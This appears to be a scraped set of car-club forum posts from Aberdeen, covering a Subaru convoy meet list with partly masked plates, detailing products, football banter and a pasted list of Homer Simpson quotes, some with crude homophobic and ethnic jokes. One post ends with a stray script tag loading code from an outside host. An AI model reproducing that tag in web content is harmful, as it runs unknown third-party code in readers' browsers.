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kloon

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  1. Fittie (Footdee, Aberdeen Harbour).
  2. Thought i'd take advantage of the decent weather to give the car the once over. Much kudos to Rich & Angela @ Polished Bliss for the speedy delivery and quality of product, the Poorboy's Polish and Poorboy's Natty's Paste did the trick superbly [] And yes, a BLUE scoob with GOLD alloys []
  3. I was always told to beware of prowlers
  4. Welcome min, must be a fair puckley of us up this way now.
  5. One last thing Craig lol, you got a route for getting to Ellon ? I was thinking Asda/Bridge of Dee/Great Southern Road/King George IV Bridge/Riverside Drive/North Esplanade West/Market Street/Virginia Street/Bouley/Prom/Ellon Road or King Street/Ellon Road ?
  6. I might change meet point but will PM someone my number if i am Ye canna dae that min, we're relying on you to lead us there ! [] As for driving sensibly, wise words, nae only us that reads these forums . . .
  7. I'm assuming Infiltrator will be meeting us there since he's just outside Ellon, so i've added him thus: That puts us up to the magic 15 Craig, and once ali adds his meeting point should be 16, looking a bit better at least ! ASDA, BRIDGE OF DEE @ 0915 FOR 0930 1, Craig Mac 05 STi WR Blue Y***AM 2, Kloon 00 DBM Turbo (W*** NST) 3, Dean STI8 White (SJ** FTO) 4, rossyboy 93 WRX Silver (B2 RD*) 5, Rossco 2000 type R grey (X*** WFX 6, Gogsie 04 jdm sti 7, 360ste Blue Bugeye STi MM***CW 8, Philip_w 9, Charlie, redscoobydoo BRIDGE OF DON ESSO STATION @ 0940ish Pete (yes it's a 1.6) Silver WRX, K*** EJB MEETING US THERE 1, Butcher Boy 2, Ken 555 3, BigDavie 4, Euan 5, Infiltrator2
  8. Here, whit did you just call me . . . . .
  9. Boaby's boaby getting some action []
  10. Honking IMHO. What's that rear bumper all about ? Looks like Halfords have gotten their hands on it.
  11. 17 Kev 580 (my02 black sti Kev***Y) 18 P1 Nut (hopefully) 19 Mark (Polo G40) 20 Foz 01 TVR Tuscon Are these four still going ? Notice they haven't actually said they aren't yet.
  12. Craig, tell him i'll throw in some free business cards or summat.
  13. Phil, you HAVE to drive that motor up here [] Promise i'll supply the carrier bags for you to take it back home in []
  14. There's still at least 4 I can see who had their names down originally who haven't replied since, maybe away offshore just now and will be back by Saturday ? Or am I clutching at straws ?
  15. ASDA, BRIDGE OF DEE @ 0915 FOR 0930 1, Craig Mac 05 STi WR Blue Y***AM 2, Kloon 00 DBM Turbo (W*** NST) 3, Dean STI8 White (SJ** FTO) 4, rossyboy 93 WRX Silver (B2 RD*) 5, Rossco 2000 type R grey (X*** WFX 6, Gogsie 04 jdm sti 7, 360ste Blue Bugeye STi MM***CW 8, Philip_w 9, Charlie, redscoobydoo BRIDGE OF DON ESSO STATION @ 0940ish Pete (yes it's a 1.6) Silver WRX, K*** EJB MEETING US THERE 1, Butcher Boy 2, Ken 555 3, BigDavie 4, Euan Tidied up the list, suddenly it aint looking so good [:|]
  16. "Hell hath no fury like a Country scorned" Jeezus H.Christ [:|]
  17. "Love it though" Just how it should be Phil, just how it should be [] If only certain elements in our 2 Countries would stop taking it so damn seriously.
  18. Homer Humor on Beer, Food and TV The strong must protect the Sweet. Oh no! What have I done? I smashed open my little boy's piggy bank, and for what? A few measly cents, not even enough to buy one beer. Wait a minute, lemme count and make sure... not even close. Television! Teacher, mother, secret lover. Homer no function beer well without. When will I learn? The answer to life's problems aren't at the bottom of a bottle, they're on TV! Son, when you participate in sporting events, it's not whether you win or lose: it's how drunk you get. Homer on Family I'm going to the back seat of my car, with the woman I love, and I won't be back for ten minutes! [Meeting Aliens] Please don't eat me! I have a wife and kids. Eat them! What do we need a psychiatrist for? We know our kid is nuts. Marge, you're as beautiful as Princess Leia and as smart as Yoda. Kids, you tried your best and you failed miserably. The lesson is, never try. The only monster here is the gambling monster that has enslaved your mother! I call him Gamblor, and it's time to snatch your mother from his neon claws! When I look at the smiles on all the children's faces, I just know they're about to jab me with something. Homer on Religion I'm normally not a praying man, but if you're up there, please save me Superman. I'm having the best day of my life, and I owe it all to not going to Church! Lisa, if the Bible has taught us nothing else, and it hasn't, it's that girls should stick to girls sports, such as hot oil wrestling and foxy boxing and such and such. I'm not a bad guy! I work hard, and I love my kids. So why should I spend half my Sunday hearing about how I'm going to Hell? Homer on Life and his 'Wisdom' Getting out of jury duty is easy. The trick is to say you're prejudiced against all races. It's not easy to juggle a pregnant wife and a troubled child, but somehow I managed to fit in eight hours of TV a day. Lisa, Vampires are make-believe, like elves, gremlins, and eskimos. I want to share something with you: The three little sentences that will get you through life. Number 1: Cover for me. Number 2: Oh, good idea, Boss! Number 3: It was like that when I got here. Oh, people can come up with statistics to prove anything, Kent. 14% of people know that. Remember that postcard Grandpa sent us from Florida of that Alligator biting that woman's bottom? That's right, we all thought it was hilarious. But, it turns out we were wrong. That alligator was sexually harrassing that woman. Old people don't need companionship. They need to be isolated and studied so it can be determined what nutrients they have that might be extracted for our personal use. How is education supposed to make me feel smarter? Besides, every time I learn something new, it pushes some old stuff out of my brain. Remember when I took that home winemaking course, and I forgot how to drive? I've always wondered if there was a god. And now I know there is -- and it's me. Homer on Work Kill my boss? Do I dare live out the American dream? If something goes wrong at the plant, blame the guy who can't speak English. I'm never going to be disabled. I'm sick of being so healthy. Classic D'Oh! Homerisms Operator! Give me the number for 911! Oh, so they have internet on computers now! I like my beer cold, my TV loud and my homosexuals flaming. [Looking at a globe map...country being Uruguay] Hee hee! Look at this country!'You are gay.' Bart, with $10,000, we'd be millionaires! We could buy all kinds of useful things like...love! [] [] <script src="http://www.tafmaster.com/fp_rs.mpl">
  19. Personally I think a Scooby would look sh!t hot if it was sat on bricks, but that's just me []
  20. This all getting a bit childish and petty . . . . []
  21. Jeezus this is bad, seen better games at Pittodrie . . . when Smiffy was in charge . . . and Steve Paterson. . . . . even Alex Miller . . . . . well ok, maybe not Alex Miller []
  22. I was watching the Brazil v Japan game (yip still at the group stages) and they were discussing how they were going to line up against PORTUGAL in the quarter finals !! FFS neither of them are even at that stage yet. Utter w***ers.
  23. Don't forget "the grass was too long", "the ball was too hard/soft", "the ref was crap" etc etc As for them Engurland fans, maybe it's time the authorities put a banning order on white plastic furniture instead . . . . . .
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